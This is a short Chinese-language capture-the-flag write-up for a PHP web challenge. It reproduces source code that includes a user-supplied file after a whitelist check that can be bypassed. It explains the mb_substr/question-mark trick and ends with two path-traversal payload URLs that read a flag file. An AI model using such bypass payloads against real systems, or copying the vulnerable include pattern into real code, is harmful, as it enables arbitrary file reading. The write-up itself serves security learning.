查看源码,提示
进入提示页面,审计代码
满足三个要点,先满足白名单的数组要求使用 file 传参,注意第二第三个的区别,
mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
mb_substr() 函数返回字符串的一部分
第三个的前面进行了一次url编码,问号解码还是问号,第一个问号传参不算入里面,所以我们需要增加一个问号能够被检测到
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php", "hint"=>"hint.php"];
if (! isset($page) || !is_string($page))
{
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist))
{
return true;
}
$_page = mb_substr($page, 0, mb_strpos($page . '?', '?'));
if (in_array($_page, $whitelist))
{
return true;
}
$_page = urldecode($page);
$_page = mb_substr($_page, 0, mb_strpos($_page . '?', '?'));
if (in_array($_page, $whitelist))
{
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']))
{
include $_REQUEST['file'];
exit;
}
else
{
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
接着查看白名单内另一个提示页面
知道 flag 的具体位置,使用 include 语句条件使用多个下一级寻找 ffffllllaaaagggg 文件
写出满足条件的 payload 语句
URL/?file=source.php?/../../../../../../../ffffllllaaaagggg
URL/?file=source.php%253f/../../../../../../../ffffllllaaaagggg